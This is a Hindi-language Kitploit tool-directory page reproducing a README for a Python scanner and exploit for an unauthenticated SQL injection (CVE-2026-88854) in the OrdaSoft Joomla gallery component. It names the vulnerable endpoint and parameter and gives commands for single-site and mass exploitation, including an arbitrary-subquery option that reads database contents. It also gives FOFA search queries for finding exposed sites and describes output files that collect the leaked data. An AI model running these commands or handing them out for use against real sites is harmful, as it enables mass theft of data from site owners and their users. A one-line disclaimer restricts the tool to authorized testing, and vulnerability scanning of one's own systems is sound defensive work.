Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-88854 — Python 3 PoC स्कैनर और CVE-2026-88854 के लिए एक्सप्लॉइट, जो OrdaSoft Joomla Gallery में एक अनधिकृत SQL इंजेक्शन है, जिसमें मास चेक और EXTRACTVALUE डेटा-रीड मोड शामिल हैं। | Kitploit
उपकरण/GitHubGitHub/murrez/cve-2026-88854
टोहीभेद्यता स्कैनरभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षापेनिट्रेशन टेस्टिंग
GitHubmurrez/cve-2026-88854

CVE-2026-88854

Python 3 PoC स्कैनर और CVE-2026-88854 के लिए एक्सप्लॉइट, जो OrdaSoft Joomla Gallery में एक अनधिकृत SQL इंजेक्शन है, जिसमें मास चेक और EXTRACTVALUE डेटा-रीड मोड शामिल हैं।

रिपॉजिटरी देखें
3 घंटे पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-88854 — OrdaSoft Joomla Gallery SQL Injection

Joomla के लिए OrdaSoft OS Responsive Image Gallery में CVE-2026-88854 के लिए Python 3 PoC स्कैनर/एक्सप्लॉइट।

Componentcom_osgallery, com_osgallery_light
Affected1.0.0 – 6.2.6
Fixed in6.2.7+
CVSS 4.09.3 (Critical)
AuthNone (public mod_osgallery_search)
CWECWE-89

सारांश

showSearchResult() / showSearchResultAjax() textsearch / searchText को $input->getVar() के माध्यम से पढ़ते हैं, जो उचित SQL escaping लागू नहीं करता। यह मान LIKE clause में concatenate किया जाता है। अनधिकृत विज़िटर UNION-शैली injection का उपयोग करके डेटाबेस सामग्री पढ़ सकते हैं।

सामान्य request surface:

root@kitploit:~
GET /index.php?option=com_osgallery&task=showSearchResultAjax&format=raw&textsearch=...

पुराने installs में task नाम searhResult (typo) हो सकता है।

आवश्यकताएँ

  • Python 3.9+
  • pip install -r requirements.txt

उपयोग

root@kitploit:~
pip install -r requirements.txt

# Fingerprint + strict SQLi probe (error / time / EXTRACTVALUE)
python poc.py -u https://target.example --mode check

# Mass check
python poc.py --list targets.example.txt --mode check --threads 30 --quiet

# MySQL error-based read (default subquery: VERSION())
python poc.py -u https://target.example --mode exploit

python poc.py -u https://target.example --mode exploit \
  --subquery "SELECT DATABASE()"

# Mass exploit (writes leaks to exploited.txt, not hits.txt)
python poc.py --list targets.example.txt --mode exploit --threads 5 --quiet \
  --output exploit_results.jsonl --vuln-list exploited.txt

# Re-tier a prior mass check by manifest version (optional)
python audit_scan.py --jsonl cve_2026_88854_results.jsonl

CLI विकल्प

आउटपुट (mass check)

FileContent
cve_2026_88854_results.jsonlPer-target JSON
hits.txtCandidate URLs (exploitable_candidate)

सामान्य status मान (check)

Post-scan audit (audit_scan.py)

Mass check के बाद, administrator manifests को फिर से fetch करने और targets को विभाजित करने के लिए audit_scan.py चलाएँ:

Gallery version administrator/components/com_osgallery/osgallery.xml में <version> element से पढ़ा जाता है, न कि Joomla extension version= attribute से।

सीमाएँ

  • Exploit mode MySQL error-based EXTRACTVALUE का उपयोग करता है; MariaDB/Postgres, disabled errors, या WAF no leak दे सकते हैं, भले ही CVE लागू हो।
  • अकेले Boolean length diffs को confirmed SQLi नहीं माना जाता (ModSecurity 406 ने परीक्षण में false positives उत्पन्न किए)।
  • Manifest version ≤ 6.2.6 exposure window दर्शाता है, हर host पर guaranteed exploitable SQLi नहीं।
  • Subdirectory Joomla installs के लिए सही base URL आवश्यक है (जैसे https://host/site)।

FOFA / discovery संकेत

root@kitploit:~
app="Joomla" && body="com_osgallery"
body="/images/com_osgallery/"

Repository लेआउट

root@kitploit:~
.
├── poc.py
├── audit_scan.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore

Local target lists और run artifacts (list.txt, fofa*.csv, *.jsonl, hits*.txt, …) .gitignore में हैं और इन्हें commit नहीं किया जाना चाहिए।

संदर्भ

  • NVD — CVE-2026-88854
  • OrdaSoft Joomla Gallery

कानूनी

केवल authorized security testing के लिए। लागू कानूनों और program नियमों का अनुपालन आपकी ज़िम्मेदारी है।

टूल डाउनलोड करें
OptionDescription
-u, --urlSingle target base URL (subdir installs: include path)
--listTarget list file (one URL per line)
--modecheck or exploit
--subquerySQL inside EXTRACTVALUE (exploit mode, default SELECT VERSION())
--threads, -jMass concurrency (default 20)
--timeoutHTTP timeout seconds (default 20)
--proxyHTTP(S) proxy URL
--outputJSONL results (default cve_2026_88854_results.jsonl)
--vuln-listCheck → hits.txt; exploit → exploited.txt
--quiet, -qLess progress output
StatusMeaning
sqli_confirmedError/time-based SQLi or verified EXTRACTVALUE leak
likely_vulnerable_versionManifest version ≤ 6.2.6 + search endpoint
likely_componentGallery detected, version unknown
boolean_inconclusiveResponse length diff only (often WAF); not counted as confirmed
patched_versionManifest version > 6.2.6
component_no_search_endpointComponent present, search task not reachable
no_componentcom_osgallery not detected
FileContent
hits_version_lte_626.txtManifest gallery version ≤ 6.2.6
hits_component_endpoint.txtGallery + endpoint, version unreadable
hits_patched.txtManifest > 6.2.6
fofa_stale.txtNo component (stale FOFA row)
cve_2026_88854_audit.jsonlEnriched JSONL